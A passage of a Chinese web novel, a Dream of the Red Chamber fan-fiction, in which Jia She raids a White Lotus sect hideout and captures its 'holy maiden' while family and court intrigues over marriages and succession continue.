人皆有爱美之心,徒嘉钰也是个颜控,他身边的丫头一个个虽说算不得绝色,却也是美人,看多了身边的漂亮丫头,外头能够打动他的人就不多,而身边朝夕相处的人,其实想要更进一步,同样不容易,除非顾晓开口,否则由他们自个水到渠成的话,天时地利人和总得占一样才行。 偏偏徒嘉钰在府里的时候,不是在跟兄弟姐妹一块玩耍,就是在摆弄他那些玩意,出门的话,跟着的是洗砚,如今再加上一个孙胜,在弘文馆就更别提了,因为不是在自个家里,里头的那些宗室子弟便是起了什么心,也不敢在弘文馆里头胡来,甚至在弘文馆里都不敢多提。 徒嘉钰以前只是跟徒嘉珩交好,跟其他宗室子弟就是泛泛之交,大家逢年过节一起吃顿酒,但是再多的交情也没有,大家休沐的时候,凑一块花天酒地,一般也不会叫徒嘉钰。如今就更不会叫了,毕竟谁都知道徒嘉钰是皇长子的人,叫了他,难不成以后自己一家就打上皇长子的标签不成? 圣上一直不立太子,可见对皇长子是不满意的,他们宁可将来锦上添花,也不做雪中送炭的事情,一个不好,那不但得不到好处,反倒是要引火烧身的!他们这些宗室,啥也不管,也能安享富贵,有了从龙之功,也顶多就是增加点俸禄而已,想要实权实封,那是痴心妄想,既然如此,自然一个个都对徒嘉钰敬而远之。 在这样的情况下,叫徒嘉钰自然生出什么淑女之思来,未免有些过分。 顾晓很快转移了话题,接下来她要忙的事情多着呢! 平王府就是个开始,太上皇前脚封了佳婉佳姝不算,之后跟批发一样,将一众适龄的皇孙女都封了一遍。这有了封号和品级,就能从宗人府拿到一份俸禄,出嫁的时候,宗人府还会准备一份符合品级的嫁妆,可以说,都能占到一笔便宜。因此,这阵子,各家府上都下了帖子宴客。平王府这边这么多年来请人的次数不多,如今这等喜事,却是不能错过,顾晓直接给府里一众亲朋都下了帖子,主要请的还是各府的女眷,又在外头请了个戏班子助兴。 太上皇不是什么慷慨大方的人,给佳婉封郡主,一来是酬功,二来也是要拉拢贾赦,但是其他各家,封爵就没这么大方,嫡女能混个郡主,庶长女也只能是个县主,轮到其他庶女,也就是个乡君。平王府却是一个郡主,一个县主,着实叫许多人家觉得不平,他们不好去宫里询问,只当是顾晓原本就与雍王府交好,因此才能叫两个庶女也跟着占了便宜,不免私底下多有微词。 横竖这些人不敢在自己面前说三道四,顾晓也就当做不知道外头那些嚼舌,笑眯眯地招待了一番,又拣了几个人家过去赴宴,权当什么事都没发生过。 而与此同时,贾赦也已经行动起来了。 因着宗女爵位大派送的事情,各家宗室都比较忙,徒嘉泽叫人给那边带了个信,说是这些日子得忙着四处赴宴,还得在家里跟姐妹一起庆祝一下,为了对方不生出疑心,过去的人还问要不要干脆不瞒着了,趁着王府这次宴客的机会就先进府认亲。 那边自然是找了理由拒绝了,毕竟,他们只跟李氏母子有亲,其他人哪里会将他们放在眼里云云。他们也没怀疑什么,原本找上徒嘉泽就是为了放长线钓大鱼,不在意这十天半个月的。 他们并没有意识到,自家已经被盯上了。 贾赦这边动作也很简单,直接找了府里的亲兵,选了几个长得憨厚的大众脸,跑到栗子巷那边赁了几间屋子,就这么大咧咧住下了。 栗子巷原本其实不叫这个名字,是因为之前有个大商户,开了家点心铺子,便在这里雇了人专门给自家剥栗子,以至于到了后来,每年秋天,都会从冀州那边采买大批的栗子进京,巷子里的人全家齐上阵,差不多要费大半个月的功夫,才能将栗子剥干净。后来,那位大商户得罪了人,点心铺子也关张了,但这边巷子的名字也留了下来。 光看这就知道,这栗子巷虽说地理位置还算不错,其实里头住的也不是什么有钱人,反倒多半是些做工的还有做些小买卖的人。这样的人家,其实是住不起单门独院的房子的,以至于栗子巷里头,多半都是大杂院。 像是那冒充李家人的,就是以自己的名义,租下了一整个院子,毕竟杂耍班子人多,还有许多吃饭的家伙事,平常还得练一练手艺,自然得要足够的空间才行。 他们借着杂耍班子的身份,也正是因为这个,要是不能单独租下一个住处,他们有什么不对劲的地方就要落到别人眼中,不够安全。 贾赦也怕打草惊蛇,因此,只叫几个亲兵充当是出来做工的,租了隔壁的房子,私下监视这些人的动向,另外,又找了个借口,说是听说南边来了一伙人贩子,叫五城兵马司的人严查京中外来人口。 下头人其实挺喜欢这样的差事,因为这可以名正言顺敲诈那些来神京讨生活的外乡人,像是这种外来的杂耍班子,戏班子什么的,就是重点盯防的对象。 贾赦私底下嘱 咐了一下, 因此,不过是几日的功夫,这个杂耍班子就被敲诈了好几次。如果是正常情况,这个杂耍班子这会儿为了保住本钱,就该赶紧收拾东西滚蛋了,要不然,这么被敲诈下去,挣多少钱都不够被人当肥羊的。 偏生他们一直留着,居然还挺有底气,放在以前,贾赦可能看不出来什么,但是在五城兵马司混了这几年,对于下头三教九流已经比较了解,很快就确定,这杂耍班子肯定有问题。 而平王府去李家那边打听消息的人也回来了。李家的确有个叫那个名字的人,是李氏二哥家的儿子,但是好几年前就因为大冬天的在外头喝醉了酒,结果醉倒在路边,第二天被发现的时候,人都硬了! 另外,李家就是乡下土地主,徒宏远给了他们家不少好处,他们也想着叫子弟读书,偏生子弟都不成器,连个童生都没考出来,干脆还是老老实实买地置产。他们这种保守的地主老财,有点钱不是买地,就是藏在地窖里头,为了多坑点粮食跟下面的佃户玩大斗入小斗出的把戏,再放点高利贷什么的,兼并乡里的土地。以前他们家里没什么靠山,自然不敢做得过分,如今勉强算得上皇亲国戚,自然在乡下几乎可以为所欲为。 他们这种情况,跟娱乐行业能搭上边的就是每年请那么两次社戏,就这,他们还得逼着村里的人一起出钱,指望他们去投资一个说不定拿了钱就开溜的什么杂耍班子,那不是开玩笑嘛! 对于那个杂耍班子,李家的人是一个都不认识。倒是下头有人听到有人描述那个自称李家少爷的人模样的时候,给出了一个线索,那应该是他们这边一个屠户家的儿子。那屠户原本差点就是李家的亲家了,家里女儿因为从小营养充足,生得颇有几分姿色,李家又因为送女儿的事情得了不少好处,就想着再培养出个漂亮闺女出来,回头送给徒嘉泽,如此代代与王爷家有亲,岂不是能一直在乡下称王称霸?所以,给家里儿子娶妻,就得娶漂亮的,自然就看上了屠户家的女儿。 结果这门婚事最后没成,那屠户家的女儿根本没看上李家的儿子,直接跟人私奔了。李家在乡下一手遮天这么多年,遇上这等事情,自然是不肯善罢甘休。直接集结了一批人,包围了那屠户家的摊子,天天捣乱,不许他们做生意。这等人家,纵然有些积蓄,也经不住这般折腾。那屠户原本自觉理亏,还想忍气吞声,但瞧着李家竟是半点活路也不给,气恼之下,直接抄起杀猪刀就要跟李家人拼命,最后捅死了李家一个佃户,直接被官府判了个死罪,家里头也被一帮胥吏盘剥得一干二净。那屠户被秋后处斩,家里头给他收了尸,然后一家子怕李家再报复,就不知道跑哪儿去了。 那个屠户自己长得五大三粗,倒是因为有钱的缘故,娶了个漂亮媳妇,因此,下头几个孩子,一个个都生得不错,这也是为什么徒嘉泽没怀疑的缘故,毕竟,一个长得歪瓜裂枣的人跑过来说自己是他的表兄弟,他也不信啊! 这回,李家听说这屠户家的儿子扮作自家的人,跑去骗王府的外甥去了,顿时傻眼,生怕牵连到自家头上,忙不迭就带着几个人也往神京这边而来。 作者有话要说 第 169 章 李家不怕才怪,他... 第169章李家不怕才怪,他. 李家不怕才怪,他们在乡下自称家里有个王爷表弟兼妹夫,有个小王爷外甥,寻常乡下人连衙门里的胥吏都害怕,也不认识更高层次的人,原本就知道李家有人进了宫,上头那些官老爷似乎对李家也挺客气,自然相信李家的确是皇亲国戚。 可是,自从徒宏远这么个出手大方的表弟死后,好日子就到头了!京中再无年礼过来,连着妹妹也一点消息也没有,他们哪里敢找上门去,生怕如今当家的太妃记恨李家,到时候吃不了兜着走。 如今居然有人打着李家的旗号骗到王府头上,他们差点没吓尿了!原本自家对于王府来说就是个臭虫,将人家恶心了一番之后及时开溜了,人家也不想跟一只臭虫一般计较,结果如今你都蹦人家衣服上了,人家一个不爽,就能直接掐死你,不赶紧赔罪,就真的要完蛋了! 李家人这会儿根本没有后悔当初逼死了那个屠夫,反倒是后悔当初没有斩草除根,留下个祸害来。 实际上,除了李氏母子两个,顾晓压根没将李家人当回事。 对于顾晓来说,真正恶心她的是当年的徒宏远,既要又要还要,你要是想要拉拔舅家,自个去做就是了,结果又要表妹,又要出身好的正妃,嫡子庶子出生都不耽误,将原本应该属于正妃的权力让渡给侧室,这随便哪一样,说出来顾晓都觉得恶心。李家是受益者,但李家只想要占点便宜,他们的根基还在自家乡下,其他事情,都是徒宏远自个搞出来的。 既然事情已经交给了贾赦,顾晓就当这事没发生过,只叫家里孩子照常读书交际,该出门吃酒就出门吃酒,该在家玩耍就在家玩耍,便是徒嘉泽,在知道是被骗了之后,也就当做之前那事没发生过,反正他是不往栗子巷那边去了,连出门次数都少了很多。 倒是叫那几个人生出了一些疑虑来,但很快那些人就打听到了消息,因为最近平王府的确比较忙,府里头能出面的主人不多,因此,便是几个孩子都得出去交际,在这样的情况下,指望徒嘉泽照常出来,也不容易。 而且,他们很快也没心思想这个了,贾赦派出去的几个亲兵曾经做过斥候的训练,也是这些人有戒心却也不多,而且普通的民房,隔音效果也比较差。这些人在外头被一帮胥吏兵痞敲诈勒索了好几回,回来心态也有点崩,毕竟,换做是其他地方,遇上这等不识相的,他们早就私底下敲了闷棍,反过来将对方打劫一把了,但是这边毕竟是天子脚下,他们在这边也无什么根基,敢头硬,别人就会让他们知道脖子是不是也很硬。 他们倒没觉得是自家被怀疑了,毕竟,在他们的意识里头,这些下头的兵痞无赖衙役小吏敲诈勒索外乡人是正常操作,无非就是他们比较倒霉,被盯上了罢了。 因着这个缘故,这些人私底下难免要谩骂几声,然后就被听到了一些类似于“圣女”、“大事若成”、“为长老护法报仇雪恨”之类的话,这还有什么好说的,定然是反贼无疑。 贾赦在听到禀报之后,又监视了几天,见他们也没去跟别的什么人接头,便也不再等待,等着他们又被另一伙帮派混混敲诈了一回,骂骂咧咧收了摊子回去,就叫人封锁了栗子巷,将那个院子围得密不透风,然后就直接命人破门而入。 贾赦动作太快,这伙人根本就没来得及反应过来,就被打了个措手不及。尤其,破门的是贾家的亲兵,不是五城兵马司那些兵卒,那些人真正精锐地早就被调 到京营中去了,留下的虽说不是什么老弱病残,却也多半是些老油子兵痞子,很多根本就是滥竽充数的货色,在街面上欺负一下普通百姓可以,遇上真正的硬点子,那就只能抓瞎了。 贾赦才信不过他们,因此,直接就叫下头亲兵结成军阵,手持劲弩,披坚执锐,这般架势,放在边境,都是精锐,何况是一帮以宗教为名的乌合之众。 这些人寻常玩些杂耍,搞一些幻术,再凭着一些手段,真能勉强做到刀枪不入水火不侵,结果面对军阵,十分的本领能发挥出一两分就算是不错。不过他们倒是胆气十足,一个个竟是都没有投降的意思,一见不好,就抄出各种趁手的家伙负隅顽抗,还有几个护送着那位所谓圣女想要逃跑。 那圣女就是徒嘉泽口中的玉瑶姑娘,她更是擅长幻术,可惜碰上了贾赦这个混不吝的,直接就叫人在后头乃至左右张开了几张渔网,硬是将人给抓住了。大家也没什么怜香惜玉之心,上来就先穿了琵琶骨,然后用镣铐锁了,只将一个千娇百媚的少女弄得花容惨淡,奄奄一息。 徒嘉泽知道消息,差点人都傻了,他跟一个白莲教圣女居然差点滚一块。自从之前闹过一阵白莲教,京中就将白莲教的黑历史传得满天飞。 这个教派历史非常悠久,最开始能上溯到隋唐时候,只是那会儿还不叫白莲教,而是以弥勒为名,之后就冒出个无生老母,真空家乡来,等到了后来,那真是愈演愈烈。这个教派是在哪一朝反哪一朝,从来就没消停的时候。他们又多半隐藏在乡野之中,植根于那些愚夫愚妇,若是碰上什么天灾人祸,立马就喊着真空家乡,地上神国之类的话,鼓动下面百姓造反。 历朝历代,无不将这个教派视作不稳定因素,只要发现,那就是破家灭门。为了防止民间百姓被蛊惑,朝廷也是各种往死里黑白莲教,像是白莲教圣女,在朝廷宣传里头,那就是会采阳补阴,用童男童女的血液洗澡,好让自己永葆青春的妖女。 徒嘉泽想到那位玉瑶很有可能是个老妖婆,差点没吐出来,自己差点就被这位老妖婆给祸害了啊!当下,曾经的那点绮念消失得无影无踪,整个人都萎靡不振起来,竟像是真的被人采阳补阴了一般,只唬得李氏也顾不得找娘家麻烦,忙不迭先请太医回来给自家儿子看病。 贾赦拿下了白莲教圣女,自然是大功一件,但是审问的事情他却没有插手,直接被通政司和缇骑给接手了。 太上皇还以为是圣上怕贾赦争功,还又赏赐了贾赦几件玩物,弄得贾赦都恨不得太上皇一直跟圣上打擂台,自个才好从中渔利。 白莲教的事情上,太上皇也是理亏,当初是他坚持不要继续追究,结果闹到现在,白莲教的人竟是跑到神京来了。 即便是有着宗教的支撑,但是缇骑和通政司继承了锦衣卫的手段,在用刑上头甚至还推陈出新了。在狱中,白莲教这伙人根本也发挥不出什么神通来,再加上一些迷幻人心的药物,一个个也没能保守多少秘密。 白莲教如今跟以前那个根植于底层百姓的宗教早就不一样了,他们如今已经变成了一些江南士绅的白手套。就像是那些海盗一样,但凡他们的主子有什么不方便做的事情,他们去做,往往能收到事半功倍的效果。比如说,某家有什么秘法,可以将织布的效率提高三成,因此他们家的织坊就能比别人家更赚钱。然后这个秘法就被某个同样家里也有大织坊的士绅发现了,便上门求购,这家不肯,然后白莲教出动,先是威逼利诱一番,要是你还不肯,他们闹 出点动静来,就能直接扣你一个勾结白莲教的罪名,接下来便是家破人亡的结局。 当然,这种事情真正做的也很少,更多的还是通过白莲教兼并土地,叫那些穷苦百姓为了治病,为了虚无缥缈的往生,供奉自己的家产给白莲教,白莲教又属于官府明令禁绝的不法组织,持有各种不动产显然不方便,然后这些就被那些士绅低价买下,顺利完成了土地所有权的转移。 至于那些百姓如何,呵呵,白莲教打一枪换一个地方,前脚骗了你,后脚跑得无影无踪,你想如何?甚至有那等愚昧的,被骗了一次不够,能接着被骗更多次,不光自家的家产搭进去,还跟着骗自己的亲戚朋友,堪称是一网打尽。 真要是那等一无所有的,对于白莲教来说,同样有价值,给他们画一个真空家乡的大饼,再忽悠一番,这些已经无路可走的百姓自然就会蒙头跟着白莲教干。 像是屠户家那位就是如此,他认识几个字,生得也还不错,又能说会道,还有一把子力气,偏生又因为李家的事情,对朝廷皇家满肚子怨言,这就是白莲教最好的利用对象。 他们这次跑到京城来,其实就是想要将这位白莲教圣女送到某个高门大户之中。白莲教圣女不止一个,到底多少个,他们也不知道,反正就是死一个之后很快就有新的顶上,共同点就是一个都生得极为美貌,且受过良好的教育,谈吐有致,身上还带着一股子仙气,除此之外,也要学会白莲教内部的一些术法之类。可以说,这等女子,资质都是不凡,放在后世,一个个怎么着都是学霸一流的人物。但是如今,这样的女子,就是用来作为白莲教的牌面存在,只要有足够的利益,她们的什么清白之类,也照样可以奉献出去。 白莲教,或者说之前的江南士绅吃了大亏,圣上似乎还有不依不饶的架势,这些人自然想要给朝廷添乱,弄个白莲教圣女进京搞风搞雨就是其中的一环。 这位白莲教圣女从小被洗|脑,满脑子都是为圣教献身的念头,她生得美貌,很容易得到异性的好感,别说是徒嘉泽这样的愣头青,便是那等见惯花丛的,也多半没法拒绝这么一个人间尤物。 可以说,这位无论是进了谁家的后院,那都是要掀起腥风血雨的。 可惜的是,出师未捷身先死,早知道如此,估摸着她还不如早点跟着徒嘉泽进平王府呢!她之前之所以一直吊着徒嘉泽,就是嫌弃徒嘉泽是个庶子,将来爵位不够高,所能够达到的层次也不够高,因此,她真正的目标其实是徒嘉钰,甚至是徒嘉钰背后的徒嘉珩。 在知道这位白莲教圣女的雄心壮志之后,一帮人都有些傻眼,关键是白莲教的计划很有可行性,毕竟,徒嘉泽跟徒嘉钰关系挺好,找个借口就能遇上,而若是徒嘉钰开口,徒嘉珩多半也不会拒绝。她这样的身份,做不了皇子妃,做个侍妾是不用经过上头允许的。回头这位真要是给徒嘉珩先生了儿子,说不定江南那些士绅都能给皇家来一次和平演变了! 圣上听得下面的消息只觉得后怕,这种事情也不能瞒着太上皇,太上皇也是恼火。他已经给徒嘉珩选择了母族的侄孙女为妃,结果平白跳出个白莲教来想要摘桃子。 其他人不知道,太上皇还能不知道,这白莲教背后是些什么人?虽说不知道具体是哪一位,但是掺和在里头的江南士绅决计不少。江南那边本来就有豢养扬州瘦马的传统,如今连白莲圣女都能批量培养出来的,便是次一等的,到时候送到各家权贵后院,都能掀起不知道多少风浪来。甚至,这 种事情已经持续了很多年,只是大家都没意识到而已。 微云烟波的作品《红楼太妃要躺平》最新章节由? 官场上头赠美之事那叫一个司空见惯,像是下头巴结上官的,宴会上头看对了眼,主人家成人之美的,当家主母无子,又希望儿子出自良家,从外头挑选的……总之,但凡是有路子,那就有漏洞。 父子两个在大明宫大眼瞪小眼,像是圣上,当初甄家送女,贵太妃说不定也是通过类似的手段培养出来的,谁知道甄家跟这些人有没有什么关系呢? 太上皇被圣上看得恼羞成怒“你是皇帝,这种事情你看朕作甚!” 圣上心中腹诽,这会儿说我是皇帝了,你之前什么事情都要指手画脚的时候,怎么不说我是皇帝!但是他想要深究,非得得到太上皇的允许才行,毕竟,如今太上皇已然将江南那边当做了钱袋子,甄家俨然就是太上皇手底下的一条恶犬,逮着谁咬谁!仗着太上皇的势,半点不将圣上放在眼里,不知道给圣上添了多少麻烦。 “既然父皇这般说了,儿子便要使人一查到底了!”圣上这会儿也不跟太上皇父慈子孝,直接说道。 “查吧查吧!”太上皇嘴里这么说,还是打了个补丁,“江南乃是赋税重地,你不可操之过急,还得缓缓图之才行!” 圣上心里气恼,要不是你当初横插一脚,朕早就搞定了,如今反倒是束手束脚起来,嘴里却是说道“谨遵父皇圣命,儿子定当徐徐图之!” 父子两个勉强保持了明面上的和气,等着圣上一走,太上皇就吩咐道“给甄家那边传信,他们世受皇恩,要是敢跟白莲教串通一气,朕直接摘了他们脑袋!” 戴权低眉顺眼答应了下来,又听太上皇布置了一番。太上皇手里也有只听命自己的一股势力,一帮老臣也更愿意听从太上皇的吩咐,不多久,大明宫就是一道道旨意送了出去。 兴庆宫也没闲着,圣上如今不是刚登基那时候了,之前借着东洋海贸的事情,就先拿下了东海那边的市舶司和水军统领衙门。算是在那边扎下了一颗钉子。水军哪怕正常都在海边驻守,但是沿着大江逆流而上,就足够威胁江南大部分区域了。 只是圣上没法下定决心将江南那边清扫一番,毕竟破坏容易重建就困难了。另外就是,圣上琢磨着,也不想再叫那些开国勋贵太过得意。 实在是他盘算了一圈,发觉如今的开国勋贵大多不得用不说,还一个个仗着与国有功,颇为跋扈。荣国府还算是好的,起码贾赦知道敬畏,像是贾家那位老太太,就上蹿下跳的,着实叫人生厌。其他人家,更过分的也有,安分守己的却是不多。 在圣上看来,这些开国勋贵原本得到的好处已经够多了,这么多年来,硬是通过联姻、利益交换之类的手段,占据了军中近半的官职。像是之前江南水军便是如此,一个个还犹觉不足,只恨不得将国家重器当做自个的私产,一心一意损公肥私,简直是岂有此理! 他现在的想法就是,拉拢那些还有些能耐的,打压那些不识时务的,那等有着明显恶行的,等着时机到了,就直接叫他们知道什么叫做国法如炉。 而若是清理江南,如今能用的又是勋贵。之前叫西宁郡王府在军中再次树立了威信,偏生又未能竟全功,圣上如今想起来都有些懊悔。 这次若是再想要清理江南,光凭着水军显然不行,这事又得落到那些勋贵头上,别回头干掉了那些江南士绅,换成更不讲究吃相的江南勋贵,那自己不是白折腾这么一趟? 想到这里,圣上直觉脑仁疼! 他琢磨一番,觉得此事也亏得平王府警醒,要不然只当是攀龙附凤之人不予理睬,等着白莲教这些人日益坐大,那就是一场灾难。 微云烟波提醒您《红楼太妃要躺平》第一时间在[笔趣阁,记住[(. 只是这种事情,不能明着赏赐,以免平王府被惦记上,琢磨一番之后,圣上只得先将此事记下,等着回头徒嘉钰袭爵的时候再行恩赏。 圣上已经听说,因为毛纺之事,太上皇当年就准备叫平王府多出一个亲王,以太上皇的性子,这事是轮不到自己施恩的。想到这里,圣上愈发气恼,恩出于上,结果自己上头还有个上,明明都已经退位了,还整日里扮红脸,搞得自己这个皇帝刻薄寡恩一样,自己不是寡恩,实在是都被太上皇将事情干完了啊!总不能不管不顾,跟太上皇为了施恩的事情卷起来吧,到时候只怕下头的人能乐得牙花子都露出来。 既然大头被太上皇给出了,圣上能做的,无非就是赏俸,至于说什么允许平王府多袭一代,那是不可能的,这次的功劳还不值这个价。至于说赏赐徒嘉泽,呵呵,那就更别提了。圣上又不傻,明面上看顾晓对下面的孩子一视同仁,但真要能如此,顾晓就是圣人!你拿着这事赏赐徒嘉泽,平王府那边嘴上谢恩,心里头顾晓母子几个不生出点别的想法才怪! 顾晓不知道圣上的烦恼,她知道白莲教在京城的人手被一网打尽之后,才算是放松了一些。 这等宗教最是难缠,这个世界,又是有一定超凡力量的,上头有神仙,下面还有些旁门左道的家伙,一个马道婆都能搞出魇镇之事来,白莲教这等被扑灭了不知道多少次,还总能死灰复燃的宗教,谁知道有些什么邪门的本事,回头在家画圈圈诅咒自己怎么办。自己如今过的是人上人的日子,真不想被这些歪门邪道惦记上。 徒嘉泽还在伤春悲秋,大概还得漂亮姑娘产生了应激心理,看到了就怀疑人家是不是图谋不轨,说不定漂亮脸蛋下面是张鸡皮鹤发的脸。 李家人找上门来,徒嘉泽也直接迁怒了,要不是因为你们李家,我能上这个当吗?差一点点,自己说不定就要成为白莲圣女采阳补阴的药渣了! 李氏倒是关心了一下李家如今的情况,她现在日子过得舒坦,虽说没多少余钱接济娘家,但在她看来,娘家也没什么好接济的。她也听说了这次的事情,居然是李家行事霸道搞出来的,心里难免也有些迁怒,毕竟,到了她这个身份地位,只有李家沾她光的份,她靠不着李家什么。她如今的依靠就是儿子,也就是徒嘉泽没出事,真要是他出了什么事,李氏对上亲兄弟,也不会有什么好脸。 好在如今没事,李氏抱怨了李家一番,又叫他们以后行事谨慎一些,有多少钱多少地才是个头呢,想要家族兴盛,还是要子孙出息,光想着送女儿,可不是什么正道。如今徒嘉泽这个正经的外甥得罪了,想要送女,人家也不乐意了! 李家原本过来也没指望得到什么东西,只求王府不恨上他们就行,如今李氏居然还给了点好处,自然是千恩万谢地回去了,至于说回去之后怎么做,那又是另一回事。 作者有话要说 第 170 章 水芮之死 第170章水芮之死 一连串的事情下来,又到了年根上。 今年太上皇和圣上都没有大办万寿节,因此,年礼上头愈发得上心一些。宗室里头一些没多少余钱的,难免心里头要抱怨几句,面上还得老老实实为太上皇祈福延寿,说出来的祝词看脸色一个比一个真心实意。 便是圣上,也是一般模样,总之,宴会上那叫一个父慈子孝,其乐融融。 等着开过年春暖花开的时候,平王府与荣国府结亲的消息才正式传了出去。 宗室里头倒是没什么想法,毕竟,原本便是嫉妒的,也已经嫉妒过了,一个庶长女居然能封郡主,反倒是嫁给看起来有了衰落趋势的荣国府,叫人生不出什么别的心思来。 也有一些嗅觉敏锐的,发现大概是贾赦要被重用了,要不然的话,便是平王府太妃跟荣国府那位将军夫人有些亲戚关系,也攀不上这门亲事。平王府素来与御前亲近,这门婚事说不得还有上意在里头。 荣国府那边,贾史氏果然有些气恼,她原本就经常接了史家的女儿到府里来,为此还许诺了娘家那边不少事情,哪知道最后竟是变成了这个样子。张氏看着不声不响的,居然能给儿子谋了这样一门贵亲。 贾史氏也是个极为势力的人,以前觉得平王府就算是宗室王府,也只是有爵无权的,面上敬着可以,不用太放在心上,因此一开始想要凑上来平王府没搭理,之后便丢开了这事。可如今,谁叫上头换了个皇帝呢,人家潜邸就在平王府隔壁,一直以来关系是极好的,平王府三天两头能得宫中的赏赐,便是没有权力,可圣眷正隆,随便御前说两句话,说不定就能顶大用。 贾史氏在这种事情上,脑瓜子倒是极为灵光,竟是异想天开,想要借着平王府的东风将元春送到御前侍奉。按照她的意思,但凡圣上见到了元春,就没有不欣赏的道理。 张氏都被贾史氏理所当然的话给气乐了,她干脆利索地打消了贾史氏的妄念“老太太,您这是糊涂了吧!须得知道,元丫头跟咱们瑚哥儿是一辈的,瑚哥儿以后勉强算是圣上的侄女婿,那元春也是圣上的晚辈,圣上得多大的心思,才会这般?” “贵太妃当年不也是……”贾史氏才不觉得皇家会在乎什么辈分。 张氏冷笑道“可贵太妃家里也不过是个乳母,可不是正经的亲戚!” 贾史氏被张氏气得倒仰,却不知道该说什么好,大房如今翅膀硬了,对她这个长辈已经没了半点敬畏,在贾史氏眼里,大房甚至故意跟她对着干。她最终没好气地说道“行了,要你们做点什么事情,大道理倒是一大堆,元春好了,难道你们就没得好吗?” 张氏心里嘀咕,面上却是笑道“元丫头也是我们看着长大的,自然都盼着她好!只是,好不好的,不能看是不是侍奉圣上,年纪轻轻的小姑娘,从小又是娇生惯养的,依我说,倒不如回头托了平王府,求个恩典,叫元春回来自行聘嫁才是!元丫头如今且还年纪好,再过个几年,想要寻个好人家都不容易,总不能真要在宫里蹉跎到二十,到那时候,可就是老姑娘了!” 张氏也同样满口都是为你好的语气,却都在戳贾史氏的肺管子,贾史氏还真怕大房一不做二不休,直接将元春从宫里弄出来。对于贾史氏来说,元春将来是否幸福并不重要,关键是,她能不能给自己给二房带来好处。 贾史氏得证明,自己的决定没有错,自己才是那个能够让荣国府保持 荣光的人。她如今已经近乎有些偏执了,听到张氏这般说,原本看起来慈眉善目的脸都一下子扭曲起来,她冷哼了一声,说道“元春的事情,你们不许自作主张!” 想看微云烟波写的《红楼太妃要躺平》第 170 章 水芮之死吗?请记住

张氏也就是一说,求恩典不需要代价的吗?凭什么要将这个代价浪费在元春身上,因此,她干脆起身行了一礼,说道“横竖元春是老太太养大的,我这个做大伯母的的确不方便插手!想要老太太也都是为了她好,只盼着元春在宫里,也能体谅老太太的心意!”

说到这里,想到荣庆堂很久不见史家人了,张氏不免多了一句嘴“近来怎么不见史家几位姑娘过来,二丫头惦记着几个姐姐呢!”

贾史氏听了,脸就拉了下来。只觉张氏是哪壶不开提哪壶,甚至是故意刺自己。史家那边,史家老大史鼑去年秋天就犯了痰疾,原本没当回事,只当是染了风寒,在家静养了几日,吃了些止咳化痰的药,哪知道之后,竟是愈演愈烈。到了冬天的时候,竟是已经起不了床了。

如今已经是在家里熬日子,贾史氏的兄长史侯如今也年纪不小了,受此打击,也是一病不起。下头史鼎史鼐兄弟两个这会儿也顾不得老父和兄长,已经都盯上了保龄侯的爵位。

这年头爵位难得,史侯当年功高,得了上头允诺,这一代还能不降爵承袭。以前这个爵位大家都觉得是老大史鼑的,结果如今史鼑都快死了,他也没有儿子,就一个还在襁褓中的女儿,这爵位自然没法落到长房。只是二房三房都是嫡出,二房觉得应该顺延到自己,三房却觉得,自己这么多年来在外作武官,立下不少功劳,唯有自己才能将史家发扬光大,因此,他也想要这个爵位。

兄弟两个为了这事,虽说明面上还兄友弟恭,实际上暗地里头狗脑子都要打出来了,只将史侯气得一佛出世二佛升天,偏生家丑不可外扬,在这个决定袭爵人选的关键当口,但凡外头传出什么流言蜚语,回头在爵位的继承上头就要平生波澜。

史鼎史鼐已经开始走姑母路线,求到贾史氏这里来了,贾史氏能有多少办法,她再强势,也不好插手娘家的事情。她自家的事情还没理顺,再管娘家爵位继承,传出去还不知道变成什么样呢!

因此,贾史氏只能旁观,并希望史侯能够撑住。说白了,若是史侯去世,史家那边跟她的关系只会更加疏远,侄子对姑姑,能有多少义务,面上客气一些,也就说得过去。

总之,史家如今乱成一团,贾史氏又不肯表态,再有贾瑚结亲王府的事情,史家那些姑娘自然不肯再来了。

张氏倒是不知道史家如今的乱象,史家那边生怕家丑外扬,很多事情瞒得死死的,外头只知道史鼑病了,却不知道病得有多严重。

史家那边当初跟着贾史氏,在贾赦和贾政之间拉偏架,贾赦对史家那边更是毫无好感,因此,除了过年的时候去看了一下之外,根本就懒得理会史家的事情。

以至于事情都到如今这副田地了,张氏竟是浑然不知。

贾史氏没想到这个,只当张氏在讥讽自己,她深吸了一口气,冷笑道“你管好瑚哥儿结亲的事情便是,平时也不见你带二丫头过来,如今倒是拿着二丫头说事。”

张氏心里翻了个白眼,她的确是想要讥讽一下贾史氏白费功夫,却没有拿着孩子说嘴的意思,二姑娘养在她身边,之前因着贾史氏想要让她跟着元春取名的事情,贾赦两口子都被恶心了一把,贾赦如今就这么一个女儿,干脆将她记在了张氏名下,然后按照贾瑚贾琏的名字给女儿取名,叫做贾

玫,小名就叫做玫姐儿,只是贾史氏不喜欢这个名字,在荣庆堂这边,只能顺着贾史氏的意思,叫一声二姑娘。

前些日子赵姨娘又生下一个女儿,王氏摆出一副为了赵姨娘和孩子好的架势,直接将这个孩子养在了自己身边。说是养在自己身边,实际上还是奶娘嬷嬷们管着。

贾史氏这会儿听到张氏说起玫姐儿,就是心里一动,说道“自从元丫头进了宫,我这边也寂寞了许多,玫姐儿如今也不用吃奶了,不如抱到我这边养着吧!(
张氏忙说道“那就是个皮猴子,平时来请安装得乖巧,时间长了没得扰了老太太您这里的清静,反倒是不好,老太太若是喜欢孙女,二叔那边不是新添了一个千金吗?当年元丫头也是落地就养在老太太您身边的,可见老太太是个会调理人的,不如将三姑娘抱到荣庆堂来,也是老太太一片慈心!” 人心都是肉长的,玫姐儿从小养在张氏身边,她生母原本也是张氏身边的丫头,素来对张氏也是忠心耿耿,张氏生下贾琏之后就伤了身子,再无所出,对玫姐儿视若己出。贾史氏是什么人,张氏这么多年看得再清楚不过了,那是真的用得着朝前,用不着朝后。若是元春没能达成她想要的目的,说不定就要将目标放在玫姐儿身上。张氏才不想让玫姐儿也吃这个苦。 横竖二房就喜欢走裙带关系,靠女儿上位,那么,与其选玫姐儿,还不如选三姑娘,都是贾政生的,说不定贾史氏还能多上心一些呢! 见张氏油盐不进,贾史氏只得作罢。她如今心里也是后悔,当初以孝道的名义将贾政一家留在荣国府,反倒是将大房分了出去,将孝顺的义务都留给了二房,以至于大房在遇上这种事情的事后完全不买账。 